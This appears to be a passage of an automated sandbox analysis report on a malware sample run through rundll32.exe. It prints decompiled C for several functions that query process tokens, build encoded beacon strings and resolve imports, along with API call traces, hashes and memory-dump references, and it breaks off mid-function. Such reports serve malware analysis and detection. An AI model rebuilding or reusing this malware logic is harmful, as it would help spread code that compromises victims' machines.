Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: d3f12c047df9db8bd082819b42e0d803ec9ee6935007a037eb3a28902d80deef
Instruction ID: 4974db7e8449ae0cc2aca351bbe802f47a26118971b117e919645488f72fafb9
Opcode Fuzzy Hash: d3f12c047df9db8bd082819b42e0d803ec9ee6935007a037eb3a28902d80deef
Instruction Fuzzy Hash: BCF0D4726002C09BE7109F68ED58F16B7E4EB29747F049444F641E7251F739EC51CA25

Uniqueness

Uniqueness Score: -1.00%

Function 04636702, Relevance: 6.0, APIs: 4, Instructions: 28
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E04636702() {
				void* _v0;
				void** _t3;
				void** _t5;
				void** _t7;
				void** _t8;
				void* _t10;

				_t3 =  *0x463d32c; // 0x51695b0
				__imp__( &(_t3[0x10]));
				while(1) {
					_t5 =  *0x463d32c; // 0x51695b0
					_t1 =  &(_t5[0x16]); // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t7 =  *0x463d32c; // 0x51695b0
				_t10 =  *_t7;
				if(_t10 != 0 && _t10 != 0x463e81a) {
					HeapFree( *0x463d238, 0, _t10);
					_t7 =  *0x463d32c; // 0x51695b0
				}
				 *_t7 = _v0;
				_t8 =  &(_t7[0x10]);
				__imp__(_t8);
				return _t8;
			}

0x04636702
0x0463670b
0x0463671b
0x0463671b
0x04636720
0x04636725
0x00000000
0x00000000
0x04636715
0x04636715
0x04636727
0x0463672c
0x04636730
0x04636743
0x04636749
0x04636749
0x04636752
0x04636754
0x04636758
0x0463675e

APIs

RtlEnterCriticalSection.NTDLL(05169570), ref: 0463670B
Sleep.KERNEL32(0000000A,?,04635D25), ref: 04636715
HeapFree.KERNEL32(00000000,?,?,04635D25), ref: 04636743
RtlLeaveCriticalSection.NTDLL(05169570), ref: 04636758

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: 5c09665c6237fae85aa5546fc95c58704ebc6860425c7aa0ed15b178c2f65738
Instruction ID: 2911a86ba3093720bd9df5986a2fb5b562af29e5e841e268d29b7841cde80ebd
Opcode Fuzzy Hash: 5c09665c6237fae85aa5546fc95c58704ebc6860425c7aa0ed15b178c2f65738
Instruction Fuzzy Hash: 7DF0D475A002C0ABF7288F64D999F1577F5EB19707B44A009F902E7360F77AEC00CA20

Uniqueness

Uniqueness Score: -1.00%

Function 04635AF1, Relevance: 5.1, APIs: 4, Instructions: 70
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E04635AF1(void* __eax, void* __ecx, void* _a4, void** _a8, intOrPtr* _a12) {
				intOrPtr* _v8;
				void* _t17;
				intOrPtr* _t22;
				void* _t27;
				char* _t30;
				void* _t33;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t39;
				int _t42;

				_t17 = __eax;
				_t37 = 0;
				__imp__(_a4, _t33, _t36, _t27, __ecx);
				_t2 = _t17 + 1; // 0x1
				_t28 = _t2;
				_t34 = E0463A71F(_t2);
				if(_t34 != 0) {
					_t30 = E0463A71F(_t28);
					if(_t30 == 0) {
						E0463A734(_t34);
					} else {
						_t39 = _a4;
						_t22 = E0463A782(_t39);
						_v8 = _t22;
						if(_t22 == 0 ||  *_t22 !=  *((intOrPtr*)(_t22 + 1))) {
							_a4 = _t39;
						} else {
							_t26 = _t22 + 2;
							_a4 = _t22 + 2;
							_t22 = E0463A782(_t26);
							_v8 = _t22;
						}
						if(_t22 == 0) {
							__imp__(_t34, _a4);
							 *_t30 = 0x2f;
							 *((char*)(_t30 + 1)) = 0;
						} else {
							_t42 = _t22 - _a4;
							memcpy(_t34, _a4, _t42);
							 *((char*)(_t34 + _t42)) = 0;
							__imp__(_t30, _v8);
						}
						 *_a8 = _t34;
						_t37 = 1;
						 *_a12 = _t30;
					}
				}
				return _t37;
			}

0x04635af1
0x04635afb
0x04635afd
0x04635b03
0x04635b03
0x04635b0c
0x04635b10
0x04635b1c
0x04635b20
0x04635b94
0x04635b22
0x04635b22
0x04635b26
0x04635b2b
0x04635b30
0x04635b4a
0x04635b39
0x04635b39
0x04635b3d
0x04635b40
0x04635b45
0x04635b45
0x04635b4f
0x04635b77
0x04635b7d
0x04635b80
0x04635b51
0x04635b53
0x04635b5b
0x04635b66
0x04635b6b
0x04635b6b
0x04635b87
0x04635b8e
0x04635b8f
0x04635b8f
0x04635b20
0x04635b9f

APIs

lstrlen.KERNEL32(00000000,00000008,?,75144D40,?,?,04633E08,?,?,?,?,00000102,046367B8,?,?,00000000), ref: 04635AFD

Part of subcall function 0463A71F: RtlAllocateHeap.NTDLL(00000000,00000000,04635595), ref: 0463A72B

Part of subcall function 0463A782: StrChrA.SHLWAPI(?,0000002F,00000000,00000000,04635B2B,00000000,00000001,00000001,?,?,04633E08,?,?,?,?,00000102), ref: 0463A790
Part of subcall function 0463A782: StrChrA.SHLWAPI(?,0000003F,?,?,04633E08,?,?,?,?,00000102,046367B8,?,?,00000000,00000000), ref: 0463A79A

memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,04633E08,?,?,?,?,00000102,046367B8,?), ref: 04635B5B
lstrcpy.KERNEL32(00000000,00000000), ref: 04635B6B
lstrcpy.KERNEL32(00000000,00000000), ref: 04635B77

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpy$AllocateHeaplstrlenmemcpy
String ID:
API String ID: 3767559652-0
Opcode ID: 4e8ba033856f4d4a060f9d7c45f38dd3a356dc30508ab84b25d242788f509c56
Instruction ID: cea6cd8332b6bea221a5898a693f400339d608d4d5e5ffc654fc67742c243039
Opcode Fuzzy Hash: 4e8ba033856f4d4a060f9d7c45f38dd3a356dc30508ab84b25d242788f509c56
Instruction Fuzzy Hash: 5A210F765002D5FBDB126FB4CC94AAABFB9EF16286B054094F8069F201F735E90197E0

Uniqueness

Uniqueness Score: -1.00%

Function 046345C6, Relevance: 5.0, APIs: 4, Instructions: 39
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E046345C6(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				void* _v8;
				void* _t18;
				int _t25;
				int _t29;
				int _t34;

				_t29 = lstrlenW(_a4);
				_t25 = lstrlenW(_a8);
				_t18 = E0463A71F(_t25 + _t29 + _t25 + _t29 + 2);
				_v8 = _t18;
				if(_t18 != 0) {
					_t34 = _t29 + _t29;
					memcpy(_t18, _a4, _t34);
					_t10 = _t25 + 2; // 0x2
					memcpy(_v8 + _t34, _a8, _t25 + _t10);
				}
				return _v8;
			}

0x046345db
0x046345df
0x046345e9
0x046345ee
0x046345f3
0x046345f5
0x046345fd
0x04634602
0x04634610
0x04634615
0x0463461f

APIs

lstrlenW.KERNEL32(004F0053,?,75145520,00000008,0516935C,?,04638D93,004F0053,0516935C,?,?,?,?,?,?,0463523E), ref: 046345D6
lstrlenW.KERNEL32(04638D93,?,04638D93,004F0053,0516935C,?,?,?,?,?,?,0463523E), ref: 046345DD

Part of subcall function 0463A71F: RtlAllocateHeap.NTDLL(00000000,00000000,04635595), ref: 0463A72B

memcpy.NTDLL(00000000,004F0053,751469A0,?,?,04638D93,004F0053,0516935C,?,?,?,?,?,?,0463523E), ref: 046345FD
memcpy.NTDLL(751469A0,04638D93,00000002,00000000,004F0053,751469A0,?,?,04638D93,004F0053,0516935C), ref: 04634610

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlenmemcpy$AllocateHeap
String ID:
API String ID: 2411391700-0
Opcode ID: 0b986ec248656c1334e265fb42acabcb86f785ff3fed1c67b6deaf85dbeb96c9
Instruction ID: 6e564d832996385481c920ec7d371ddc524a9014853c7238a72e009760ce01dd
Opcode Fuzzy Hash: 0b986ec248656c1334e265fb42acabcb86f785ff3fed1c67b6deaf85dbeb96c9
Instruction Fuzzy Hash: 3BF04936900118BBDF11EFA8CC84C9FBBACEF092597114066FA04D7201FB35EA149BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0463361A, Relevance: 5.0, APIs: 4, Instructions: 27stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(05169A78,00000000,00000000,74ECC740,046320ED,00000000), ref: 0463362A
lstrlen.KERNEL32(?), ref: 04633632

Part of subcall function 0463A71F: RtlAllocateHeap.NTDLL(00000000,00000000,04635595), ref: 0463A72B

lstrcpy.KERNEL32(00000000,05169A78), ref: 04633646
lstrcat.KERNEL32(00000000,?), ref: 04633651

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$AllocateHeaplstrcatlstrcpy
String ID:
API String ID: 74227042-0
Opcode ID: a14d763c687176a9d93515b4396a6198380cc3de2fd63feaac7416c5bdc1051a
Instruction ID: 694a8923a31f981d9ffef05e88514e4645bf3044264ee2c674251b7b1be16f8f
Opcode Fuzzy Hash: a14d763c687176a9d93515b4396a6198380cc3de2fd63feaac7416c5bdc1051a
Instruction Fuzzy Hash: 65E012735016A16B8711ABE4AC48C6BBBBDEF996527040417F700E3211E73ADC059BA5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 5276 Parent PID: 5292 rundll32.exeCOMMON

Executed Functions

Function 04185A27, Relevance: 10.6, APIs: 7, Instructions: 81
nativeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E04185A27(char _a4, void* _a8) {
				void* _v8;
				void* _v12;
				char _v16;
				void* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _v44;
				void** _t33;
				void* _t40;
				void* _t43;
				void** _t44;
				intOrPtr* _t47;
				char _t48;

				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v20 = _a4;
				_t48 = 0;
				_v16 = 0;
				_a4 = 0;
				_v44 = 0x18;
				_v40 = 0;
				_v32 = 0;
				_v36 = 0;
				_v28 = 0;
				_v24 = 0;
				if(NtOpenProcess( &_v12, 0x400,  &_v44,  &_v20) >= 0) {
					_t33 =  &_v8;
					__imp__(_v12, 8, _t33);
					if(_t33 >= 0) {
						_t47 = __imp__;
						 *_t47(_v8, 1, 0, 0,  &_a4, _t43); // executed
						_t44 = E0418A71F(_a4);
						if(_t44 != 0) {
							_t40 =  *_t47(_v8, 1, _t44, _a4,  &_a4); // executed
							if(_t40 >= 0) {
								memcpy(_a8,  *_t44, 0x1c);
								_t48 = 1;
							}
							E0418A734(_t44);
						}
						NtClose(_v8); // executed
					}
					NtClose(_v12);
				}
				return _t48;
			}

0x04185a34
0x04185a35
0x04185a36
0x04185a37
0x04185a38
0x04185a3c
0x04185a43
0x04185a52
0x04185a55
0x04185a58
0x04185a5f
0x04185a62
0x04185a65
0x04185a68
0x04185a6b
0x04185a76
0x04185a78
0x04185a81
0x04185a89
0x04185a8b
0x04185a9d
0x04185aa7
0x04185aab
0x04185aba
0x04185abe
0x04185ac7
0x04185acf
0x04185acf
0x04185ad1
0x04185ad1
0x04185ad9
0x04185adf
0x04185ae3
0x04185ae3
0x04185aee

APIs

NtOpenProcess.NTDLL(00000000,00000400,?,?), ref: 04185A6E
NtOpenProcessToken.NTDLL(00000000,00000008,?), ref: 04185A81
NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 04185A9D

Part of subcall function 0418A71F: RtlAllocateHeap.NTDLL(00000000,00000000,04185595), ref: 0418A72B

NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 04185ABA
memcpy.NTDLL(00000000,00000000,0000001C), ref: 04185AC7
NtClose.NTDLL(?), ref: 04185AD9
NtClose.NTDLL(00000000), ref: 04185AE3

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
String ID:
API String ID: 2575439697-0
Opcode ID: b50be875a26c7fe2c024ed5d524397ade6f34029ac0e747474b93df816afa2de
Instruction ID: 32a72655c086b3adc06f8d4195e8a80989e4d315888c729ed39aa9d781ab0155
Opcode Fuzzy Hash: b50be875a26c7fe2c024ed5d524397ade6f34029ac0e747474b93df816afa2de
Instruction Fuzzy Hash: B221F876900218BBDB01AF95CC85ADEBFBEFF08790F10406AF905E6150E7759A449FE0

Uniqueness

Uniqueness Score: -1.00%

Function 04184AB6, Relevance: 33.2, APIs: 22, Instructions: 244
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E04184AB6(long __eax, void* __ecx, void* __edx, intOrPtr _a4, char** _a8, int* _a12, void* _a16) {
				void* _v8;
				signed int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* __ebx;
				void* __edi;
				long _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t63;
				intOrPtr _t64;
				void* _t67;
				intOrPtr _t68;
				int _t71;
				void* _t72;
				void* _t73;
				void* _t75;
				void* _t78;
				intOrPtr _t82;
				intOrPtr _t86;
				intOrPtr* _t88;
				void* _t89;
				void* _t94;
				intOrPtr _t100;
				signed int _t104;
				char** _t106;
				int _t109;
				signed int _t111;
				intOrPtr* _t112;
				intOrPtr* _t114;
				intOrPtr* _t116;
				intOrPtr* _t118;
				intOrPtr _t121;
				intOrPtr _t126;
				int _t130;
				CHAR* _t132;
				intOrPtr _t133;
				void* _t134;
				void* _t143;
				int _t144;
				void* _t145;
				intOrPtr _t146;
				void* _t148;
				long _t152;
				intOrPtr* _t153;
				intOrPtr* _t154;
				intOrPtr* _t157;
				void* _t158;
				void* _t160;

				_t143 = __edx;
				_t134 = __ecx;
				_t59 = __eax;
				_v12 = 8;
				if(__eax == 0) {
					_t59 = GetTickCount();
				}
				_t60 =  *0x418d018; // 0xb20846e7
				asm("bswap eax");
				_t61 =  *0x418d014; // 0x3a87c8cd
				_t132 = _a16;
				asm("bswap eax");
				_t62 =  *0x418d010; // 0xd8d2f808
				asm("bswap eax");
				_t63 =  *0x418d00c; // 0x8f8f86c2
				asm("bswap eax");
				_t64 =  *0x418d2a8; // 0x99a5a8
				_t3 = _t64 + 0x418e633; // 0x74666f73
				_t144 = wsprintfA(_t132, _t3, 3, 0x3d15e, _t63, _t62, _t61, _t60,  *0x418d02c,  *0x418d004, _t59);
				_t67 = E041856CD();
				_t68 =  *0x418d2a8; // 0x99a5a8
				_t4 = _t68 + 0x418e673; // 0x74707526
				_t71 = wsprintfA(_t144 + _t132, _t4, _t67);
				_t160 = _t158 + 0x38;
				_t145 = _t144 + _t71; // executed
				_t72 = E041858DB(_t134); // executed
				_t133 = __imp__;
				_v8 = _t72;
				if(_t72 != 0) {
					_t126 =  *0x418d2a8; // 0x99a5a8
					_t7 = _t126 + 0x418e8d4; // 0x736e6426
					_t130 = wsprintfA(_a16 + _t145, _t7, _t72);
					_t160 = _t160 + 0xc;
					_t145 = _t145 + _t130;
					HeapFree( *0x418d238, 0, _v8);
				}
				_t73 = E0418A199();
				_v8 = _t73;
				if(_t73 != 0) {
					_t121 =  *0x418d2a8; // 0x99a5a8
					_t11 = _t121 + 0x418e8dc; // 0x6f687726
					wsprintfA(_t145 + _a16, _t11, _t73);
					_t160 = _t160 + 0xc;
					HeapFree( *0x418d238, 0, _v8);
				}
				_t146 =  *0x418d32c; // 0x4b295b0
				_t75 = E04184622(0x418d00a, _t146 + 4);
				_t152 = 0;
				_v20 = _t75;
				if(_t75 == 0) {
					L26:
					RtlFreeHeap( *0x418d238, _t152, _a16); // executed
					return _v12;
				} else {
					_t78 = RtlAllocateHeap( *0x418d238, 0, 0x800); // executed
					_v8 = _t78;
					if(_t78 == 0) {
						L25:
						HeapFree( *0x418d238, _t152, _v20);
						goto L26;
					}
					E0418518F(GetTickCount());
					_t82 =  *0x418d32c; // 0x4b295b0
					__imp__(_t82 + 0x40);
					asm("lock xadd [eax], ecx");
					_t86 =  *0x418d32c; // 0x4b295b0
					__imp__(_t86 + 0x40);
					_t88 =  *0x418d32c; // 0x4b295b0
					_t89 = E04181BB6(1, _t143, _a16,  *_t88); // executed
					_t148 = _t89;
					_v28 = _t148;
					asm("lock xadd [eax], ecx");
					if(_t148 == 0) {
						L24:
						RtlFreeHeap( *0x418d238, _t152, _v8); // executed
						goto L25;
					}
					StrTrimA(_t148, 0x418c28c);
					_push(_t148);
					_t94 = E0418361A();
					_v16 = _t94;
					if(_t94 == 0) {
						L23:
						HeapFree( *0x418d238, _t152, _t148);
						goto L24;
					}
					_t153 = __imp__;
					 *_t153(_t148, _a4);
					 *_t153(_v8, _v20);
					_t154 = __imp__;
					 *_t154(_v8, _v16);
					_t100 = E04189070( *_t154(_v8, _t148), _v8);
					_a4 = _t100;
					if(_t100 == 0) {
						_v12 = 8;
						L21:
						E04186761();
						L22:
						HeapFree( *0x418d238, 0, _v16);
						_t152 = 0;
						goto L23;
					}
					_t104 = E041869B4(_t133, 0xffffffffffffffff, _t148,  &_v24); // executed
					_v12 = _t104;
					if(_t104 == 0) {
						_t157 = _v24;
						_t111 = E0418391F(_t157, _a4, _a8, _a12); // executed
						_v12 = _t111;
						_t112 =  *((intOrPtr*)(_t157 + 8));
						 *((intOrPtr*)( *_t112 + 0x80))(_t112);
						_t114 =  *((intOrPtr*)(_t157 + 8));
						 *((intOrPtr*)( *_t114 + 8))(_t114);
						_t116 =  *((intOrPtr*)(_t157 + 4));
						 *((intOrPtr*)( *_t116 + 8))(_t116);
						_t118 =  *_t157;
						 *((intOrPtr*)( *_t118 + 8))(_t118);
						E0418A734(_t157);
					}
					if(_v12 != 0x10d2) {
						L16:
						if(_v12 == 0) {
							_t106 = _a8;
							if(_t106 != 0) {
								_t149 =  *_t106;
								_t155 =  *_a12;
								wcstombs( *_t106,  *_t106,  *_a12);
								_t109 = E04185800(_t149, _t149, _t155 >> 1);
								_t148 = _v28;
								 *_a12 = _t109;
							}
						}
						goto L19;
					} else {
						if(_a8 != 0) {
							L19:
							E0418A734(_a4);
							if(_v12 == 0 || _v12 == 0x10d2) {
								goto L22;
							} else {
								goto L21;
							}
						}
						_v12 = _v12 & 0x00000000;
						goto L16;
					}
				}
			}

0x04184ab6
0x04184ab6
0x04184ab6
0x04184abf
0x04184ac8
0x04184aca
0x04184aca
0x04184ad7
0x04184ae2
0x04184ae5
0x04184aea
0x04184af3
0x04184af6
0x04184afb
0x04184afe
0x04184b03
0x04184b06
0x04184b12
0x04184b1f
0x04184b21
0x04184b27
0x04184b2c
0x04184b37
0x04184b39
0x04184b3c
0x04184b3e
0x04184b43
0x04184b49
0x04184b4e
0x04184b51
0x04184b56
0x04184b63
0x04184b65
0x04184b6b
0x04184b75
0x04184b75
0x04184b77
0x04184b7c
0x04184b81
0x04184b84
0x04184b89
0x04184b96
0x04184b98
0x04184ba6
0x04184ba6
0x04184ba8
0x04184bb6
0x04184bbb
0x04184bbd
0x04184bc2
0x04184d83
0x04184d8d
0x04184d96
0x04184bc8
0x04184bd4
0x04184bda
0x04184bdf
0x04184d77
0x04184d81
0x00000000
0x04184d81
0x04184beb
0x04184bf0
0x04184bf9
0x04184c0a
0x04184c0e
0x04184c17
0x04184c1d
0x04184c27
0x04184c2c
0x04184c33
0x04184c3c
0x04184c42
0x04184d6b
0x04184d75
0x00000000
0x04184d75
0x04184c4e
0x04184c54
0x04184c55
0x04184c5a
0x04184c5f
0x04184d61
0x04184d69
0x00000000
0x04184d69
0x04184c68
0x04184c6f
0x04184c77
0x04184c7c
0x04184c85
0x04184c90
0x04184c95
0x04184c9a
0x04184d99
0x04184d4d
0x04184d4d
0x04184d52
0x04184d5d
0x04184d5f
0x00000000
0x04184d5f
0x04184ca4
0x04184ca9
0x04184cae
0x04184cb3
0x04184cbe
0x04184cc3
0x04184cc6
0x04184ccc
0x04184cd2
0x04184cd8
0x04184cdb
0x04184ce1
0x04184ce4
0x04184ce9
0x04184ced
0x04184ced
0x04184cf9
0x04184d05
0x04184d09
0x04184d0b
0x04184d10
0x04184d12
0x04184d17
0x04184d1c
0x04184d29
0x04184d31
0x04184d34
0x04184d34
0x04184d10
0x00000000
0x04184cfb
0x04184cff
0x04184d36
0x04184d39
0x04184d42
0x00000000
0x00000000
0x00000000
0x00000000
0x04184d42
0x04184d01
0x00000000
0x04184d01
0x04184cf9

APIs

GetTickCount.KERNEL32 ref: 04184ACA
wsprintfA.USER32 ref: 04184B1A
wsprintfA.USER32 ref: 04184B37
wsprintfA.USER32 ref: 04184B63
HeapFree.KERNEL32(00000000,?), ref: 04184B75
wsprintfA.USER32 ref: 04184B96
HeapFree.KERNEL32(00000000,?), ref: 04184BA6
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 04184BD4
GetTickCount.KERNEL32 ref: 04184BE5
RtlEnterCriticalSection.NTDLL(04B29570), ref: 04184BF9
RtlLeaveCriticalSection.NTDLL(04B29570), ref: 04184C17

Part of subcall function 04181BB6: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,74ECC740,?,?,041820C2,?,04B295B0), ref: 04181BE1
Part of subcall function 04181BB6: lstrlen.KERNEL32(?,?,?,041820C2,?,04B295B0), ref: 04181BE9
Part of subcall function 04181BB6: strcpy.NTDLL ref: 04181C00
Part of subcall function 04181BB6: lstrcat.KERNEL32(00000000,?), ref: 04181C0B
Part of subcall function 04181BB6: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,041820C2,?,04B295B0), ref: 04181C28

StrTrimA.SHLWAPI(00000000,0418C28C,?,04B295B0), ref: 04184C4E

Part of subcall function 0418361A: lstrlen.KERNEL32(04B29A78,00000000,00000000,74ECC740,041820ED,00000000), ref: 0418362A
Part of subcall function 0418361A: lstrlen.KERNEL32(?), ref: 04183632
Part of subcall function 0418361A: lstrcpy.KERNEL32(00000000,04B29A78), ref: 04183646
Part of subcall function 0418361A: lstrcat.KERNEL32(00000000,?), ref: 04183651

lstrcpy.KERNEL32(00000000,?), ref: 04184C6F
lstrcpy.KERNEL32(?,?), ref: 04184C77
lstrcat.KERNEL32(?,?), ref: 04184C85
lstrcat.KERNEL32(?,00000000), ref: 04184C8B

Part of subcall function 04189070: lstrlen.KERNEL32(?,00000000,04B29A98,00000000,04188808,04B29C76,?,?,?,?,?,63699BC3,00000005,0418D00C), ref: 04189077
Part of subcall function 04189070: mbstowcs.NTDLL ref: 041890A0
Part of subcall function 04189070: memset.NTDLL ref: 041890B2

wcstombs.NTDLL ref: 04184D1C

Part of subcall function 0418391F: SysAllocString.OLEAUT32(?), ref: 0418395A
Part of subcall function 0418391F: IUnknown_QueryInterface_Proxy.RPCRT4(?,332C4425,?), ref: 041839DD

Part of subcall function 0418A734: RtlFreeHeap.NTDLL(00000000,00000000,04185637,00000000,?,?,00000000), ref: 0418A740

HeapFree.KERNEL32(00000000,?,?), ref: 04184D5D
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 04184D69
RtlFreeHeap.NTDLL(00000000,?,?,04B295B0), ref: 04184D75
HeapFree.KERNEL32(00000000,?), ref: 04184D81
RtlFreeHeap.NTDLL(00000000,?), ref: 04184D8D

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$lstrlen$lstrcatwsprintf$lstrcpy$CountCriticalSectionTickTrim$AllocAllocateEnterInterface_LeaveProxyQueryStringUnknown_mbstowcsmemsetstrcpywcstombs
String ID:
API String ID: 603507560-0
Opcode ID: 4d80ee9df50666e816c00102a71ab3514885afac267b91c206a383dc149c169a
Instruction ID: e3487ecd17418013145d2fccc6cc40d5d1bdf07203cf069ffc75a7365a8e96f6
Opcode Fuzzy Hash: 4d80ee9df50666e816c00102a71ab3514885afac267b91c206a383dc149c169a
Instruction Fuzzy Hash: 39913971900209AFDB11EFA5EC84A9E7BB9EF48354B144059F404D7260EB39ED91DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0418AC55, Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209
libraryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E0418AC55(long _a4, long _a8) {
				signed int _v8;
				intOrPtr _v16;
				LONG* _v28;
				long _v40;
				long _v44;
				long _v48;
				CHAR* _v52;
				long _v56;
				CHAR* _v60;
				long _v64;
				signed int* _v68;
				char _v72;
				signed int _t76;
				signed int _t80;
				signed int _t81;
				intOrPtr* _t82;
				intOrPtr* _t83;
				intOrPtr* _t85;
				intOrPtr* _t90;
				intOrPtr* _t95;
				intOrPtr* _t98;
				struct HINSTANCE__* _t99;
				void* _t102;
				intOrPtr* _t104;
				void* _t115;
				long _t116;
				void _t125;
				void* _t131;
				signed short _t133;
				struct HINSTANCE__* _t138;
				signed int* _t139;

				_t139 = _a4;
				_v28 = _t139[2] + 0x4180000;
				_t115 = _t139[3] + 0x4180000;
				_t131 = _t139[4] + 0x4180000;
				_v8 = _t139[7];
				_v60 = _t139[1] + 0x4180000;
				_v16 = _t139[5] + 0x4180000;
				_v64 = _a8;
				_v72 = 0x24;
				_v68 = _t139;
				_v56 = 0;
				asm("stosd");
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				if(( *_t139 & 0x00000001) == 0) {
					_a8 =  &_v72;
					RaiseException(0xc06d0057, 0, 1,  &_a8);
					return 0;
				}
				_t138 =  *_v28;
				_t76 = _a8 - _t115 >> 2 << 2;
				_t133 =  *(_t131 + _t76);
				_a4 = _t76;
				_t80 =  !(_t133 >> 0x1f) & 0x00000001;
				_v56 = _t80;
				_t81 = _t133 + 0x4180002;
				if(_t80 == 0) {
					_t81 = _t133 & 0x0000ffff;
				}
				_v52 = _t81;
				_t82 =  *0x418d1a0; // 0x0
				_t116 = 0;
				if(_t82 == 0) {
					L6:
					if(_t138 != 0) {
						L18:
						_t83 =  *0x418d1a0; // 0x0
						_v48 = _t138;
						if(_t83 != 0) {
							_t116 =  *_t83(2,  &_v72);
						}
						if(_t116 != 0) {
							L32:
							 *_a8 = _t116;
							L33:
							_t85 =  *0x418d1a0; // 0x0
							if(_t85 != 0) {
								_v40 = _v40 & 0x00000000;
								_v48 = _t138;
								_v44 = _t116;
								 *_t85(5,  &_v72);
							}
							return _t116;
						} else {
							if(_t139[5] == _t116 || _t139[7] == _t116) {
								L27:
								_t116 = GetProcAddress(_t138, _v52);
								if(_t116 == 0) {
									_v40 = GetLastError();
									_t90 =  *0x418d19c; // 0x0
									if(_t90 != 0) {
										_t116 =  *_t90(4,  &_v72);
									}
									if(_t116 == 0) {
										_a4 =  &_v72;
										RaiseException(0xc06d007f, _t116, 1,  &_a4);
										_t116 = _v44;
									}
								}
								goto L32;
							} else {
								_t95 =  *((intOrPtr*)(_t138 + 0x3c)) + _t138;
								if( *_t95 == 0x4550 &&  *((intOrPtr*)(_t95 + 8)) == _v8 && _t138 ==  *((intOrPtr*)(_t95 + 0x34))) {
									_t116 =  *(_a4 + _v16);
									if(_t116 != 0) {
										goto L32;
									}
								}
								goto L27;
							}
						}
					}
					_t98 =  *0x418d1a0; // 0x0
					if(_t98 == 0) {
						L9:
						_t99 = LoadLibraryA(_v60); // executed
						_t138 = _t99;
						if(_t138 != 0) {
							L13:
							if(InterlockedExchange(_v28, _t138) == _t138) {
